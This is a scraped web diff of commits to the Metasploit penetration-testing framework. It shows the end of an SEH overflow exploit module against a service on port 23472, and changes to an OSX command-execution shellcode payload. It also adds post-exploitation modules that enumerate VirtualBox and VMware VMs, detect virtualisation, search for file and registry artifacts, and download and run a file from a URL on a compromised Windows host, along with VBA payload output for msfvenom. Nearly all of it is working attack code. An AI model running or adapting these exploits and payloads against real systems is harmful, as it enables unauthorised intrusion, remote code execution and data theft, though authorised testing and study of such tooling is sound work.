|
||||
'Ret' => 0x780c8f1f
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 12 2012'))
|
||||
|
||||
register_options([Opt::RPORT(23472)], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
req = "\x00\x00\x00\x00"
|
||||
req << rand_text_alpha_upper(1092)
|
||||
req << generate_seh_payload(target.ret)
|
||||
|
||||
connect
|
||||
sock.put(req)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
|
||||
end
|
||||
end
|
|
@ -30,7 +30,7 @@ module Metasploit3
|
|||
'Name' => 'OSX Execute Command',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' => 'snagg <snagg[at]openssl.it>',
|
||||
'Author' => [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>' ],
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86))
|
||||
|
@ -47,12 +47,14 @@ module Metasploit3
|
|||
#
|
||||
def generate
|
||||
cmd = datastore['CMD'] || ''
|
||||
len = cmd.length + 1
|
||||
payload =
|
||||
"\x31\xc0\x50"+
|
||||
Rex::Arch::X86.call(cmd.length + 1) + cmd +
|
||||
"\x00\x5e\x89\xe7\xb9\x1e\x00" +
|
||||
"\x31\xc0\x50" +
|
||||
Rex::Arch::X86.call(len) + cmd +
|
||||
"\x00\x5e\x89\xe7\xb9" + Rex::Arch::X86.pack_word(len) +
|
||||
"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
|
||||
"\x50\x53\xb0\x3b\x50\xcd\x80"
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -29,7 +29,7 @@ class Metasploit3 < Msf::Post
|
|||
'Description' => %q{
|
||||
This module attempts to determine whether the system is running
|
||||
inside of a virtual environment and if so, which one. This
|
||||
module supports detectoin of Hyper-V, VMWare, VirtualBox, Xen,
|
||||
module supports detection of Hyper-V, VMWare, VirtualBox, Xen,
|
||||
and QEMU/KVM.},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
|
@ -164,12 +164,11 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
if vm
|
||||
print_good("This appears to be a #{vm} Virtual Machine")
|
||||
report_vm(vm)
|
||||
else
|
||||
print_status("This appears to be a Physical Machine")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,64 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/file'
|
||||
require 'yaml'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info(info,
|
||||
'Name' => 'Multi Gather VirtualBox VM Enumeration',
|
||||
'Description' => %q{
|
||||
This module will attempt to enumerate any VirtualBox VMs on the target machine.
|
||||
Due to the nature of VirtualBox, this module can only enumerate VMs registered
|
||||
for the current user. So this module needs to be invoked form a user context.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
|
||||
'SessionTypes' => ['shell', 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
if session.platform =~ /win/
|
||||
res = session.shell_command_token_win32('"c:\Program Files\Oracle\VirtualBox\vboxmanage" list -l vms')
|
||||
if res.include? "The system cannot find the path specified"
|
||||
print_error "VirtualBox does not appear to be installed on this machine"
|
||||
return nil
|
||||
elsif res == "\n"
|
||||
print_status "VirtualBox is installed but this user has no VMs registered. Try another user."
|
||||
return nil
|
||||
end
|
||||
elsif session.platform =~ /unix|linux|bsd|osx/
|
||||
res = session.shell_command('vboxmanage list -l vms')
|
||||
unless res.start_with? "Sun VirtualBox"
|
||||
print_error "VirtualBox does not appear to be installed on this machine"
|
||||
return nil
|
||||
end
|
||||
unless res.include? "Name:"
|
||||
print_status "VirtualBox is installed but this user has no VMs registered. Try another user."
|
||||
return nil
|
||||
end
|
||||
end
|
||||
print_good res
|
||||
store_loot('virtualbox_vms', "text/plain", session, res, "virtualbox_vms.txt", "Virtualbox Virtual Machines")
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -0,0 +1,138 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/file'
|
||||
require 'yaml'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info(info,
|
||||
'Name' => 'Multi Gather VMWare VM Identification',
|
||||
'Description' => %q{
|
||||
This module will attempt to find any VMWare virtual machines stored on the target.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
|
||||
'SessionTypes' => ['shell', 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
if session_has_search_ext
|
||||
vms = meterp_search
|
||||
elsif session.platform =~ /unix|linux|bsd|osx/
|
||||
vms = nix_shell_search
|
||||
end
|
||||
report_vms(vms) if vms
|
||||
end
|
||||
|
||||
def report_vms(vms)
|
||||
output = "VMWare Virtual Machines\n"
|
||||
output << "--------------------------------\n"
|
||||
vms.each do |vm|
|
||||
next if vm.empty?
|
||||
output << "Name: #{vm['name']}\n"
|
||||
output << "Virtual CPUs: #{vm['cpus']}\n"
|
||||
output << "Memory: #{vm['memsize']}\n"
|
||||
output << "Operating System: #{vm['os']}\n"
|
||||
output << "Network Type: #{vm['eth_type']}\n"
|
||||
output << "MAC Address: #{vm['mac']}\n"
|
||||
output << "Shared Folders:\n"
|
||||
vm['SharedFolders'].each do |folder|
|
||||
output << "\tHost Location: #{folder}\n"
|
||||
end
|
||||
output << "\n"
|
||||
end
|
||||
print_good output
|
||||
store_loot('vmware_vms', "text/plain", session, output, "vmware_vms.txt", "VMWare Virtual Machines")
|
||||
end
|
||||
|
||||
|
||||
def nix_shell_search
|
||||
vms = []
|
||||
res = session.shell_command('find / -name "*.vmx" -type f -print 2>/dev/null')
|
||||
res.each_line do |filename|
|
||||
next unless filename.start_with? '/'
|
||||
begin
|
||||
parse = session.shell_command("cat #{filename}")
|
||||
vms << parse_vmx(parse,filename)
|
||||
rescue
|
||||
print_error "Could not read #{filename} properly"
|
||||
end
|
||||
end
|
||||
return vms
|
||||
end
|
||||
|
||||
def meterp_search
|
||||
vms = []
|
||||
res = session.fs.file.search(nil, "*.vmx", true, -1)
|
||||
res.each do |vmx|
|
||||
filename = "#{vmx['path']}\\#{vmx['name']}"
|
||||
next if filename.end_with? ".vmxf"
|
||||
begin
|
||||
config = client.fs.file.new(filename,'r')
|
||||
parse = config.read
|
||||
vms << parse_vmx(parse,filename)
|
||||
rescue
|
||||
print_error "Could not read #{filename} properly"
|
||||
end
|
||||
end
|
||||
return vms
|
||||
end
|
||||
|
||||
|
||||
def parse_vmx(vmx_data, filename)
|
||||
vm= {}
|
||||
unless vmx_data.nil? or vmx_data.empty?
|
||||
vm['SharedFolders'] = []
|
||||
vmx_data.each_line do |line|
|
||||
data = line.split("=")
|
||||
vm['path'] = filename
|
||||
case data[0]
|
||||
when "memsize "
|
||||
vm['memsize'] = data[1].gsub!("\"",'').lstrip.chomp
|
||||
when "displayName "
|
||||
vm['name'] = data[1].gsub!("\"",'').lstrip.chomp
|
||||
when "guestOS "
|
||||
vm['os'] = data[1].gsub!("\"",'').lstrip.chomp
|
||||
when "ethernet0.connectionType "
|
||||
vm['eth_type'] = data[1].gsub!("\"",'').lstrip.chomp
|
||||
when "ethernet0.generatedAddress "
|
||||
vm['mac'] = data[1].gsub!("\"",'').lstrip.chomp
|
||||
when "numvcpus "
|
||||
vm['cpus'] = data[1].gsub!("\"",'').lstrip.chomp
|
||||
when "sharedFolder0.hostPath "
|
||||
vm['SharedFolders'] << data[1].gsub!("\"",'').lstrip.chomp
|
||||
end
|
||||
end
|
||||
vm['cpus'] ||= "1"
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
def session_has_search_ext
|
||||
begin
|
||||
return !!(session.fs and session.fs.file)
|
||||
rescue NoMethodError
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -64,8 +64,10 @@ class Metasploit3 < Msf::Post
|
|||
rescue
|
||||
end
|
||||
end
|
||||
print_status("This is a Hyper-V Virtual Machine") if vm
|
||||
return vm
|
||||
if vm
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
return "MS Hyper-V"
|
||||
end
|
||||
end
|
||||
|
||||
# Method for checking if it is a VMware VM
|
||||
|
@ -109,9 +111,10 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
end
|
||||
print_status("This is a VMware Virtual Machine") if vm
|
||||
return vm
|
||||
|
||||
if vm
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
return "VMWare"
|
||||
end
|
||||
end
|
||||
|
||||
# Method for checking if it is a Virtual PC VM
|
||||
|
@ -144,8 +147,10 @@ class Metasploit3 < Msf::Post
|
|||
rescue
|
||||
end
|
||||
end
|
||||
print_status("This is a VirtualPC Virtual Machine") if vm
|
||||
return vm
|
||||
if vm
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
return "VirtualPC"
|
||||
end
|
||||
end
|
||||
|
||||
# Method for checking if it is a VirtualBox VM
|
||||
|
@ -227,8 +232,10 @@ class Metasploit3 < Msf::Post
|
|||
rescue
|
||||
end
|
||||
end
|
||||
print_status("This is a Sun VirtualBox Virtual Machine") if vm
|
||||
return vm
|
||||
if vm
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
return "VirtualBox"
|
||||
end
|
||||
end
|
||||
|
||||
# Method for checking if it is a Xen VM
|
||||
|
@ -293,8 +300,10 @@ class Metasploit3 < Msf::Post
|
|||
rescue
|
||||
end
|
||||
end
|
||||
print_status("This is a Xen Virtual Machine") if vm
|
||||
return vm
|
||||
if vm
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
return "Xen"
|
||||
end
|
||||
end
|
||||
|
||||
def qemuchk(session)
|
||||
|
@ -320,18 +329,25 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
return vm
|
||||
if vm
|
||||
return "Qemu/KVM"
|
||||
end
|
||||
end
|
||||
|
||||
# run Method
|
||||
def run
|
||||
print_status("Checking if #{sysinfo['Computer']} is a Virtual Machine .....")
|
||||
found = hypervchk(session)
|
||||
found = vmwarechk(session) if not found
|
||||
found = checkvrtlpc(session) if not found
|
||||
found = vboxchk(session) if not found
|
||||
found = xenchk(session) if not found
|
||||
found = qemuchk(session) if not found
|
||||
print_status("It appears to be a physical host.") if not found
|
||||
found ||= vmwarechk(session)
|
||||
found ||= checkvrtlpc(session)
|
||||
found ||= vboxchk(session)
|
||||
found ||= xenchk(session)
|
||||
found ||= qemuchk(session)
|
||||
if found
|
||||
report_vm(found)
|
||||
else
|
||||
print_status("#{sysinfo['Computer']} appears to be a Physical Machine")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -130,9 +130,10 @@ class Metasploit3 < Msf::Post
|
|||
@data_out += get_showwnd(hdr)
|
||||
@data_out += get_lnk_MAC(hdr)
|
||||
|
||||
# advance the file & offset
|
||||
offset += 0x4c
|
||||
|
||||
if shell_item_id_list(hdr)
|
||||
# advance the file & offset
|
||||
offset += 0x4c
|
||||
lnk_file.sysseek(offset, ::IO::SEEK_SET)
|
||||
record = lnk_file.sysread(2)
|
||||
offset += record.unpack('v')[0] + 2
|
||||
|
|
|
@ -9,6 +9,7 @@ require 'rex'
|
|||
require 'msf/core'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'yaml'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
|
@ -21,7 +22,7 @@ class Metasploit3 < Msf::Post
|
|||
'Name' => 'Windows File and Registry Artifacts Enumeration',
|
||||
'Description' => %q{
|
||||
This module will check the file system and registry for particular artifacts. The
|
||||
list of artifacts is read from data/post/artifacts or a user specified file. Any
|
||||
list of artifacts is read from data/post/enum_artifacts_list.txt or a user specified file. Any
|
||||
matches are written to the loot. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'averagesecurityguy <stephen[at]averagesecurityguy.info>' ],
|
||||
|
@ -42,8 +43,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
def run
|
||||
# Store any found artifacts so they can be written to loot
|
||||
files_found = []
|
||||
reg_found = []
|
||||
evidence = {}
|
||||
|
||||
# Check artifacts file path
|
||||
filename = datastore['ARTIFACTS']
|
||||
|
@ -52,55 +52,59 @@ class Metasploit3 < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
# Start enumerating
|
||||
print_status("Processing artifacts file...")
|
||||
file = ::File.open(filename, "rb")
|
||||
file.each_line do |line|
|
||||
line.strip!
|
||||
next if line.length < 1
|
||||
next if line[0,1] == "#"
|
||||
# Load artifacts from yaml file. Artifacts are organized by what they
|
||||
# are evidence of.
|
||||
yaml = YAML::load_file(filename)
|
||||
yaml.each_key do |key|
|
||||
print_status("Searching for artifacts of #{key}")
|
||||
files = yaml[key]['files']
|
||||
regs = yaml[key]['reg_entries']
|
||||
found = []
|
||||
|
||||
# Check registry
|
||||
if line =~ /^reg/
|
||||
type, reg_key, val, data = line.split("|")
|
||||
reg_data = registry_getvaldata(reg_key, val)
|
||||
if reg_data.to_s == data
|
||||
reg_found << "#{reg_key}\\#{val}"
|
||||
# Process file entries
|
||||
vprint_status("Processing #{files.length.to_s} file entries for #{key}.")
|
||||
|
||||
files.each do |file|
|
||||
digest = file_remote_digestmd5(file['name'])
|
||||
# if the file doesn't exist then digest will be nil
|
||||
next if digest == nil
|
||||
if digest == file['csum'] then found << file['name'] end
|
||||
end
|
||||
|
||||
# Process registry entries
|
||||
vprint_status("Processing #{regs.length.to_s} registry entries for #{key}.")
|
||||
|
||||
regs.each do |reg|
|
||||
rdata = registry_getvaldata(reg['key'], reg['val'])
|
||||
if rdata.to_s == reg['data']
|
||||
found << reg['key'] + '\\' + reg['val']
|
||||
end
|
||||
end
|
||||
|
||||
# Check file
|
||||
if line =~ /^file/
|
||||
type, file, hash = line.split("|")
|
||||
digest = file_remote_digestmd5(file)
|
||||
if digest == hash
|
||||
files_found << file
|
||||
end
|
||||
|
||||
# Did we find anything? If so store it in the evidence hash to be
|
||||
# saved in the loot.
|
||||
if found.empty?
|
||||
print_status("No artifacts of #{key} found.")
|
||||
else
|
||||
print_status("Artifacts of #{key} found.")
|
||||
evidence[key] = found
|
||||
end
|
||||
end
|
||||
|
||||
# Reporting. In case the user wants to separte artifact types (file vs registry),
|
||||
# we've already done it at this point.
|
||||
if files_found.empty?
|
||||
print_status("No file artifacts found")
|
||||
else
|
||||
save(files_found, "Enumerated File Artifacts")
|
||||
end
|
||||
|
||||
if reg_found.empty?
|
||||
print_status("No registry artifacts found")
|
||||
else
|
||||
save(reg_found, "Enumerated Registry Artifacts")
|
||||
end
|
||||
save(evidence, "Enumerated Artifacts")
|
||||
end
|
||||
|
||||
def save(data, name)
|
||||
f = store_loot('enumerated.artifacts', 'text/plain', session, data.join("\n"), name)
|
||||
str = ""
|
||||
data.each_pair do |key, val|
|
||||
str << "Evidence of #{key} found.\n"
|
||||
val.each do |v|
|
||||
str << "\t" + v + "\n"
|
||||
end
|
||||
end
|
||||
|
||||
f = store_loot('enumerated.artifacts', 'text/plain', session, str, name)
|
||||
print_status("#{name} stored in: #{f}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
To-do: Use CSV or yaml format to store enum_artifacts_list.txt
|
||||
=end
|
||||
|
|
|
@ -0,0 +1,139 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/common'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Manage Download and/or Execute",
|
||||
'Description' => %q{
|
||||
This module will download a file by importing urlmon via railgun.
|
||||
The user may also choose to execute the file with arguments via exec_string.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['windows'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => ['RageLtMan']
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URL', [true, 'Full URL of file to download' ]),
|
||||
OptString.new('DOWNLOAD_PATH', [false, 'Full path for downloaded file' ]),
|
||||
OptString.new('FILENAME', [false, 'Name for downloaded file' ]),
|
||||
OptBool.new( 'OUTPUT', [true, 'Show execution output', true ]),
|
||||
OptBool.new( 'EXECUTE', [true, 'Execute file after completion', false ]),
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('EXEC_STRING', [false, 'Execution parameters when run from download directory' ]),
|
||||
OptBool.new( 'DELETE', [true, 'Delete file after execution', false ]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
# Check to see if our dll is loaded, load and configure if not
|
||||
|
||||
def add_railgun_urlmon
|
||||
|
||||
if client.railgun.dlls.find_all {|d| d.first == 'urlmon'}.empty?
|
||||
session.railgun.add_dll('urlmon','urlmon')
|
||||
session.railgun.add_function(
|
||||
'urlmon', 'URLDownloadToFileW', 'DWORD',
|
||||
[
|
||||
['PBLOB', 'pCaller', 'in'],
|
||||
['PWCHAR','szURL','in'],
|
||||
['PWCHAR','szFileName','in'],
|
||||
['DWORD','dwReserved','in'],
|
||||
['PBLOB','lpfnCB','inout']
|
||||
])
|
||||
vprint_good("urlmon loaded and configured")
|
||||
else
|
||||
vprint_status("urlmon already loaded")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
# Make sure we meet the requirements before running the script, note no need to return
|
||||
# unless error
|
||||
return 0 if session.type != "meterpreter"
|
||||
|
||||
# get time
|
||||
strtime = Time.now
|
||||
|
||||
# check/set vars
|
||||
url = datastore["URL"]
|
||||
filename = datastore["FILENAME"] || url.split('/').last
|
||||
|
||||
download_path = session.fs.file.expand_path(datastore["DOWNLOAD_PATH"])
|
||||
if download_path.nil? or download_path.empty?
|
||||
path = session.fs.file.expand_path("%TEMP%")
|
||||
else
|
||||
path = download_path
|
||||
end
|
||||
|
||||
outpath = path + '\\' + filename
|
||||
exec = datastore["EXECUTE"]
|
||||
exec_string = datastore["EXEC_STRING"] || ''
|
||||
output = datastore['OUTPUT']
|
||||
remove = datastore['DELETE']
|
||||
|
||||
# set up railgun
|
||||
add_railgun_urlmon
|
||||
|
||||
# get our file
|
||||
vprint_status("Downloading #{url} to #{outpath}")
|
||||
client.railgun.urlmon.URLDownloadToFileW(nil,url,outpath,0,nil)
|
||||
|
||||
# check our results
|
||||
begin
|
||||
out = session.fs.file.stat(outpath)
|
||||
print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ")
|
||||
rescue
|
||||
print_error("File not found. The download probably failed")
|
||||
return
|
||||
end
|
||||
|
||||
# Execute file upon request
|
||||
if exec
|
||||
begin
|
||||
cmd = outpath + ' ' + exec_string
|
||||
|
||||
# If we don't have the following gsub, we get this error in Windows:
|
||||
# "Operation failed: The system cannot find the file specified"
|
||||
cmd = cmd.gsub(/\\/, '\\\\\\')
|
||||
|
||||
print_status("Executing file: #{cmd}")
|
||||
res = cmd_exec(cmd)
|
||||
print_good(res) if output and not res.empty?
|
||||
rescue ::Exception => e
|
||||
print_error("Unable to execute: #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
# remove file if needed
|
||||
if remove
|
||||
begin
|
||||
print_status("Deleting #{outpath}")
|
||||
session.fs.file.rm(outpath)
|
||||
rescue ::Exception => e
|
||||
print_error("Unable to remove file: #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
3
msfvenom
3
msfvenom
|
@ -433,6 +433,9 @@ when /exe/i
|
|||
$stdout.write exe
|
||||
when /exe-small/i
|
||||
when /vba/i
|
||||
vba = Msf::Util::EXE.to_vba($framework, payload_raw)
|
||||
$stdout.puts vba
|
||||
when /vba-exe/i
|
||||
exe = Msf::Util::EXE.to_win32pe($framework, payload_raw)
|
||||
vba = Msf::Util::EXE.to_exe_vba(exe)
|
||||
$stdout.puts vba
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
@ -12,9 +11,12 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/windows/railgun'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Windows::Railgun
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'railgun_testing',
|
||||
|
@ -28,26 +30,25 @@ class Metasploit3 < Msf::Post
|
|||
[
|
||||
OptInt.new("ERR_CODE" , [true, "Error code to reverse lookup", 0x420]),
|
||||
OptInt.new("WIN_CONST", [true, "Windows constant to reverse lookup", 4]),
|
||||
OptString.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", "^SERVICE"]),
|
||||
OptString.new("ECREGEX", [false,"Regexp to apply to error code lookup", "^ERROR_SERVICE_"]),
|
||||
OptRegexp.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", '^SERVICE']),
|
||||
OptRegexp.new("ECREGEX", [false,"Regexp to apply to error code lookup", '^ERROR_SERVICE_']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
print_debug datastore['ECREGEX']
|
||||
print_status("Running against session #{datastore["SESSION"]}")
|
||||
print_status("Session type is #{session.type}")
|
||||
|
||||
@rg = session.railgun
|
||||
|
||||
print_status()
|
||||
print_status("TESTING: const_reverse_lookup on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
|
||||
results = @rg.const_reverse_lookup(datastore['WIN_CONST'],datastore['WCREGEX'])
|
||||
print_status("TESTING: select_const_names on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
|
||||
results = select_const_names(datastore['WIN_CONST'],datastore['WCREGEX'])
|
||||
print_status("RESULTS: #{results.class} #{results.pretty_inspect}")
|
||||
|
||||
print_status()
|
||||
print_status("TESTING: error_lookup on #{datastore['ERR_CODE']} filtering by #{datastore['ECREGEX'].to_s}")
|
||||
results = @rg.error_lookup(datastore['ERR_CODE'],datastore['ECREGEX'])
|
||||
results = lookup_error(datastore['ERR_CODE'],datastore['ECREGEX'])
|
||||
print_status("RESULTS: #{results.class} #{results.inspect}")
|
||||
|
||||
print_status()
|
||||
|
|
Loading…
Reference in New Issue